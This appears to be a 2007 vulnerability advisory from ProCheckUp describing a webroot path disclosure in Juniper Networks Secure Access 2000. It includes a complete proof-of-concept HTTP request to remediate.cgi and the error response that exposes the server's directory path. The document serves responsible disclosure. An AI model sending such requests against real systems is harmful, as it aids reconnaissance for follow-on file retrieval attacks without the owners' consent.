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PR07-42 - Webroot disclosure on Juniper Networks Secure Access 2000

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Advisories (Vulnerabilities) & Papers

Vulnerability found:
06 December 2007
Vendor informed:
12 December 2007
Severity level:
Richard Brain of ProCheckUp Ltd (
By simply requesting the 'remediate.cgi' script omitting certain parameters, the web server returns the physical path of the webroot ('/home/webserver/htdocs/') within a "Execute failed" error message.


A remote attacker could recover information with regards to the target site's directory structure.

This kind of information might be useful to attackers in certain scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.



Successfully tested on

Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)
Proof of concept:

{att:bold}- COMPLETE HTTP REQUEST{att:/bold}

GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Accept: */*

{att:bold}- COMPLETE HTTP RESPONSE{att:/bold}

HTTP/1.1 302 Moved
location: /dana-na/auth//welcome.cgi?p=&hideremed=1
Pragma: no-cache
Cache-Control: no-store
Expires: -1
Transfer-Encoding: chunked
Status: 500 Internal Error
Content-Type: text/html

<H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>

<BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1
How to fix:
Juniper Networks was aware of this issue which they addressed on version 6.0R1. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.
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